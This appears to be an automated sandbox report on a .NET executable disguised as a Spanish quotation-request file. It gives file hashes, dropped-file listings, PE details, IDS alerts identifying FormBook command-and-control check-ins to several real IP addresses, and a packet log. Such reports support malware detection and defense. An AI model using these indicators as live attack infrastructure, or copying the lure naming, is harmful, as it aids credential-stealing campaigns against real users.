SHA-512:	A607EED55900D42618B72BB0275528B1167834E216C35E0B832368505A265560B1751D3C086859ECF4676695EDFEFB65FCE4531ED338B7330240ED77A2CFEDD2
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6696.tmp.xml

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4910
Entropy (8bit):	4.63309527819161
Encrypted:	false
SSDEEP:	48:cvIwWl8zsFJg771I9q9WpW8VYy0Ym8M4JoDSDmFFmSyq850DvwYUuITmD5+D5Cd:uIjffI7NM7VFJo2pSxnUsV+VCd
MD5:	34F1669DF737A028B577705366526888
SHA1:	4F3E826DBE89DA12BB1EFE8733707ECF71DB2A27
SHA-256:	8A054890234AB329C1E93DFE6AA3A1CD2B8C994EBD1E5713C5B300E510942DF6
SHA-512:	C81EBA780E688B2F8A72CAFC5A19907B4833F04CC3E9CE0D8D6563A98DBEA7408CFEAB9893F8421FFE1FEC300866504872600776BDB1256AEB3BE8361518901A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="496024" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\1150d71

Process:	C:\Windows\SysWOW64\SecEdit.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1211596417522893
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8wH0hL3kWieF:r2qOB1nxCkvSAELyKOMq+8wH0hLUZs
MD5:	0AB67F0950F46216D5590A6A41A267C7
SHA1:	3E0DD57E2D4141A54B1C42DD8803C2C4FD26CB69
SHA-256:	4AE2FD6D1BEDB54610134C1E58D875AF3589EDA511F439CDCCF230096C1BEB00
SHA-512:	D19D99A54E7C7C85782D166A3010ABB620B32C7CD6C43B783B2F236492621FDD29B93A52C23B1F4EFC9BF998E1EF1DFEE953E78B28DF1B06C24BADAD750E6DF7
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g4m11nsi.hvv.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gu4qc4td.wrw.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwba0xjb.3hi.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxnufaz5.frq.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.296069439140736
Encrypted:	false
SSDEEP:	6144:441fWRYkg7Di2vXoy00lWZgiWaaKxC44Q0NbuDs+2omBMZJh1VjE:11/YCW2AoQ0NiEowMHrVA
MD5:	CFB0222D4F2976D364AF5E373B8D1B5A
SHA1:	CCBBEA34FB963F6510075D798E3A2C9CA208E1AE
SHA-256:	FC6F8135883BF82753EC62D39C9CC5F3EE22378CDF7E68F640646CBF156983C7
SHA-512:	F0825794AF99D2EB691D2BA7C89FC67915B71CF68001A1FB87A2B6F11907F628E7799FBACD8B822D776A6048BA8DA780B617A73845C0C9195CC5965FEBECA704
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm6.}...................................................................................................................................................................................................................................................................................................................................................iK........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.923798534770572
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe
File size:	3'079'318 bytes
MD5:	ee557be5d5e16d9ea01241f09a19a87b
SHA1:	e83e01dca3b3684e4f417b85bb4172dc635377e8
SHA256:	e42b2065cd7683b0be8702853b309e09474f23ff67851cb8295686194006622a
SHA512:	1ec2e18ae64ad994b279c4778c85d17df40d8de889d04c312a24b5bdf70fe1696f926016cc10e891e0fc2b0811d8f89b86d593ed6ff7a96b2c83d489bc3e1ce9
SSDEEP:	12288:sR2wFm7mveI0f0bA1n4ADwC8ZjE8E27hs4k2BX48gUaZczMAjiCrj:s9m7my0bA2ADw7E8H73I8gU0czL7j
TLSH:	21E5AF91B9474C97FC1212B1C8EAB9F010FD5D5B74F0520FEF657E2266B227E10A683A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....x.f.........."...0..=............... ....@...... ..............................+./...`................................

File Icon


Icon Hash:	1c188bc89a2c567b

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66DF7809 [Mon Sep 9 22:34:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x41ac2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3d92	0x3e00	3214833196d7a24a0e9efe3b119b78d6	False	0.6476814516129032	data	6.227977271663902	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x41ac2	0x41c00	fbc8b93323051f53ce0463e532967bf4	False	0.16046072956273763	data	4.2616249064478655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x6144	0x41428	Device independent bitmap graphic, 253 x 512 x 32, image size 259072, resolution 3779 x 3779 px/m	0.15837772723191573
RT_GROUP_ICON	0x4756c	0x14	data	1.2
RT_VERSION	0x47580	0x358	data	0.4135514018691589
RT_MANIFEST	0x478d8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-11T22:02:49.640040+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49707	217.70.184.50	80	TCP
2024-09-11T22:03:05.636449+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49709	199.192.19.19	80	TCP
2024-09-11T22:03:08.481012+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49710	199.192.19.19	80	TCP
2024-09-11T22:03:10.994616+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49711	199.192.19.19	80	TCP
2024-09-11T22:03:13.538921+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49712	199.192.19.19	80	TCP
2024-09-11T22:03:19.922113+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49713	91.184.0.111	80	TCP
2024-09-11T22:03:22.474600+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49714	91.184.0.111	80	TCP
2024-09-11T22:03:25.415863+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49715	91.184.0.111	80	TCP
2024-09-11T22:03:27.843432+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49716	91.184.0.111	80	TCP
2024-09-11T22:03:34.587409+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49717	193.108.130.23	80	TCP
2024-09-11T22:03:37.144072+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49718	193.108.130.23	80	TCP
2024-09-11T22:03:39.725437+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49719	193.108.130.23	80	TCP
2024-09-11T22:03:42.170263+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49720	193.108.130.23	80	TCP
2024-09-11T22:03:48.831925+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49721	47.239.13.172	80	TCP
2024-09-11T22:03:51.334838+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49722	47.239.13.172	80	TCP
2024-09-11T22:03:53.999481+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49723	47.239.13.172	80	TCP
2024-09-11T22:03:56.395789+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49724	47.239.13.172	80	TCP
2024-09-11T22:04:04.315698+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49725	154.213.157.32	80	TCP
2024-09-11T22:04:06.849751+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49726	154.213.157.32	80	TCP
2024-09-11T22:04:09.377961+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49727	154.213.157.32	80	TCP
2024-09-11T22:04:31.770471+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49728	154.213.157.32	80	TCP
2024-09-11T22:04:38.312957+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49729	47.239.13.172	80	TCP
2024-09-11T22:04:40.850212+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49730	47.239.13.172	80	TCP
2024-09-11T22:04:43.622662+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49731	47.239.13.172	80	TCP
2024-09-11T22:04:45.907910+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49732	47.239.13.172	80	TCP
2024-09-11T22:04:51.625711+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49733	91.195.240.19	80	TCP
2024-09-11T22:04:54.155382+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49734	91.195.240.19	80	TCP
2024-09-11T22:04:56.682829+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49735	91.195.240.19	80	TCP
2024-09-11T22:04:59.223467+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49736	91.195.240.19	80	TCP
2024-09-11T22:05:05.474119+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49737	198.12.241.35	80	TCP
2024-09-11T22:05:08.549097+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49738	198.12.241.35	80	TCP
2024-09-11T22:05:10.877753+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49739	198.12.241.35	80	TCP
2024-09-11T22:05:13.260346+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49740	198.12.241.35	80	TCP
2024-09-11T22:05:18.997419+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49741	91.195.240.19	80	TCP
2024-09-11T22:05:21.677864+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49742	91.195.240.19	80	TCP
2024-09-11T22:05:24.030304+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49743	91.195.240.19	80	TCP
2024-09-11T22:05:26.773021+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49744	91.195.240.19	80	TCP
2024-09-11T22:05:41.799821+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49745	31.186.11.254	80	TCP
2024-09-11T22:05:44.974968+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49746	31.186.11.254	80	TCP
2024-09-11T22:05:47.502944+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49747	31.186.11.254	80	TCP
2024-09-11T22:06:09.903190+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49748	31.186.11.254	80	TCP
2024-09-11T22:06:15.495299+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49749	192.250.231.28	80	TCP
2024-09-11T22:06:18.793022+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49750	192.250.231.28	80	TCP
2024-09-11T22:06:21.178494+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49751	192.250.231.28	80	TCP
2024-09-11T22:06:23.712219+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49752	192.250.231.28	80	TCP
2024-09-11T22:06:30.426319+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49753	47.239.13.172	80	TCP
2024-09-11T22:06:32.914154+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49754	47.239.13.172	80	TCP
2024-09-11T22:06:35.474379+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.10	49755	47.239.13.172	80	TCP
2024-09-11T22:06:37.962678+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.10	49756	47.239.13.172	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 22:02:48.993223906 CEST	49707	80	192.168.2.10	217.70.184.50
Sep 11, 2024 22:02:48.998605967 CEST	80	49707	217.70.184.50	192.168.2.10
Sep 11, 2024 22:02:48.998692036 CEST	49707	80	192.168.2.10	217.70.184.50
Sep 11, 2024 22:02:49.001437902 CEST	49707	80	192.168.2.10	217.70.184.50
Sep 11, 2024 22:02:49.006355047 CEST	80	49707	217.70.184.50	192.168.2.10
Sep 11, 2024 22:02:49.639590025 CEST	80	49707	217.70.184.50	192.168.2.10
Sep 11, 2024 22:02:49.639919043 CEST	80	49707	217.70.184.50	192.168.2.10
Sep 11, 2024 22:02:49.639949083 CEST	80	49707	217.70.184.50	192.168.2.10
Sep 11, 2024 22:02:49.639985085 CEST	80	49707	217.70.184.50	192.168.2.10
Sep 11, 2024 22:02:49.640039921 CEST	49707	80	192.168.2.10	217.70.184.50
Sep 11, 2024 22:02:49.640070915 CEST	49707	80	192.168.2.10	217.70.184.50
Sep 11, 2024 22:02:49.645072937 CEST	49707	80	192.168.2.10	217.70.184.50
Sep 11, 2024 22:02:49.650005102 CEST	80	49707	217.70.184.50	192.168.2.10
Sep 11, 2024 22:03:04.990813971 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:04.995795965 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:04.996009111 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:04.998111963 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.003818035 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636337996 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636368036 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636382103 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636449099 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.636488914 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636502981 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636518002 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636533022 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636539936 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.636548996 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636586905 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.636620998 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636631966 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.636636019 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.636681080 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.641469955 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.641490936 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.641501904 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.641535044 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.689918041 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.727834940 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.728266001 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.728348017 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:05.728518963 CEST	80	49709	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:05.728575945 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:06.502602100 CEST	49709	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:07.522448063 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:07.860690117 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:07.860899925 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:07.863334894 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:07.868254900 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480758905 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480775118 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480792999 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480806112 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480817080 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480833054 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480844021 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480855942 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480866909 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.480879068 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.481012106 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:08.485847950 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.485904932 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.485917091 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.485929966 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.485971928 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:08.486010075 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:08.573080063 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.573187113 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.573259115 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:08.574011087 CEST	80	49710	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:08.574063063 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:09.377629995 CEST	49710	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:10.396060944 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:10.401328087 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.401398897 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:10.403425932 CEST	49711	80	192.168.2.10	199.192.19.19
Sep 11, 2024 22:03:10.408471107 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.408860922 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994544029 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994561911 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994582891 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994594097 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994606972 CEST	80	49711	199.192.19.19	192.168.2.10
Sep 11, 2024 22:03:10.994616032 CEST	49711	80	192.168.2.10	199.192.19.19
